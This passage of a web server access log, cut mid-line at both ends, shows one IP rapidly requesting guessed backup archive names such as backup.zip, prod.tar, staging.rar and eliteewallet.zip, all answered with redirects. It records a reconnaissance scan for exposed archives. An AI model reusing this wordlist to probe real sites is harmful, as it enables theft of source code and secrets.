(X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:28 +0300] "GET /clone.tar.gz HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:28 +0300] "GET /clone.tar.gz HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:29 +0300] "GET /bak.rar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:29 +0300] "GET /bak.tar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:30 +0300] "GET /api.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:30 +0300] "GET /api.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:30 +0300] "GET /api.tar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:30 +0300] "GET /api.tar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:31 +0300] "GET /api.tar.gz HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:25 +0300] "GET /eliteewallet.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:25 +0300] "GET /eliteewallet.tar.gz HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:25 +0300] "GET /v1.rar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:25 +0300] "GET /v1.rar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:25 +0300] "GET /v1.tar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:26 +0300] "GET /v1.tar.gz HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:26 +0300] "GET /v2.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:26 +0300] "GET /v2.tar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:26 +0300] "GET /v2.tar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:26 +0300] "GET /backup.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:27 +0300] "GET /backup.tar.gz HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:27 +0300] "GET /dev.tar.gz HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:28 +0300] "GET /clone.rar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:28 +0300] "GET /clone.rar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:28 +0300] "GET /bak.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:28 +0300] "GET /bak.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:28 +0300] "GET /bak.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:29 +0300] "GET /bak.tar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:29 +0300] "GET /test.rar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:30 +0300] "GET /test.tar.gz HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:30 +0300] "GET /api.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:31 +0300] "GET /api.tar.gz HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:31 +0300] "GET /staging.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:31 +0300] "GET /staging.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:31 +0300] "GET /staging.rar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 195.210.114.16 - - [21/Mar/2026:17:30:58 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36" 45.63.43.146 - - [21/Mar/2026:17:42:25 +0300] "GET /eliteewallet.rar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:25 +0300] "GET /eliteewallet.tar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:25 +0300] "GET /v1.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:25 +0300] "GET /v1.tar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:26 +0300] "GET /v1.tar.gz HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:26 +0300] "GET /v1.tar.gz HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:26 +0300] "GET /v1.tar.gz HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:26 +0300] "GET /v2.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:26 +0300] "GET /v2.rar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:26 +0300] "GET /v2.tar.gz HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:26 +0300] "GET /v2.tar.gz HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:27 +0300] "GET /backup.tar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:27 +0300] "GET /backup.tar.gz HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:27 +0300] "GET /dev.tar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:28 +0300] "GET /clone.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:28 +0300] "GET /clone.tar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:28 +0300] "GET /clone.tar.gz HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:28 +0300] "GET /bak.rar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:29 +0300] "GET /test.rar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:30 +0300] "GET /test.tar.gz HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:31 +0300] "GET /staging.tar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:31 +0300] "GET /staging.tar.gz HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:31 +0300] "GET /prod.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:32 +0300] "GET /prod.tar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:24 +0300] "GET /eliteewallet.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:25 +0300] "GET /eliteewallet.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:25 +0300] "GET /v1.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:25 +0300] "GET /v1.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:25 +0300] "GET /v1.rar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:26 +0300] "GET /v2.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:26 +0300] "GET /v2.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:26 +0300] "GET /v2.rar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:26 +0300] "GET /backup.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:26 +0300] "GET /backup.rar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:27 +0300] "GET /backup.tar.gz HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:27 +0300] "GET /dev.tar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:27 +0300] "GET /clone.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:28 +0300] "GET /clone.tar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:29 +0300] "GET /bak.tar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:29 +0300] "GET /bak.tar.gz HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:29 +0300] "GET /test.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:29 +0300] "GET /test.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:30 +0300] "GET /test.tar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:30 +0300] "GET /api.tar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:31 +0300] "GET /staging.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:31 +0300] "GET /staging.rar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:31 +0300] "GET /prod.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:32 +0300] "GET /prod.rar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:32 +0300] "GET /prod.tar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:25 +0300] "GET /eliteewallet.rar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:25 +0300] "GET /eliteewallet.tar.gz HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:25 +0300] "GET /eliteewallet.tar.gz HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:26 +0300] "GET /v2.tar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:27 +0300] "GET /backup.tar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:27 +0300] "GET /dev.tar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:27 +0300] "GET /dev.tar.gz HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:28 +0300] "GET /clone.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:28 +0300] "GET /clone.rar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:28 +0300] "GET /clone.tar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:28 +0300] "GET /clone.tar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:28 +0300] "GET /clone.tar.gz HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:28 +0300] "GET /bak.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:29 +0300] "GET /test.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:30 +0300] "GET /test.tar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:30 +0300] "GET /api.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:30 +0300] "GET /api.rar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:30 +0300] "GET /api.tar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:31 +0300] "GET /api.tar.gz HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:31 +0300] "GET /staging.tar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:31 +0300] "GET /staging.tar.gz HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:31 +0300] "GET /prod.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:32 +0300] "GET /prod.rar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:32 +0300] "GET /prod.tar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:32 +0300] "GET /production.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:24 +0300] "GET /eliteewallet.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:25 +0300] "GET /eliteewallet.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:25 +0300] "GET /eliteewallet.rar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:25 +0300] "GET /v1.tar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:25 +0300] "GET /v1.tar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:26 +0300] "GET /v2.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:26 +0300] "GET /v2.tar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:26 +0300] "GET /v2.tar.gz HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:27 +0300] "GET /backup.rar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:27 +0300] "GET /dev.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:27 +0300] "GET /dev.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:27 +0300] "GET /dev.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:28 +0300] "GET /clone.rar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:29 +0300] "GET /bak.rar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:29 +0300] "GET /bak.tar.gz HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:29 +0300] "GET /bak.tar.gz HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:29 +0300] "GET /test.rar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:30 +0300] "GET /api.rar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:31 +0300] "GET /staging.rar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:31 +0300] "GET /staging.tar.gz HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:31 +0300] "GET /prod.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:32 +0300] "GET /prod.rar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:32 +0300] "GET /production.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:32 +0300] "GET /production.tar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:32 +0300] "GET /www.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:32 +0300] "GET /prod.tar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; 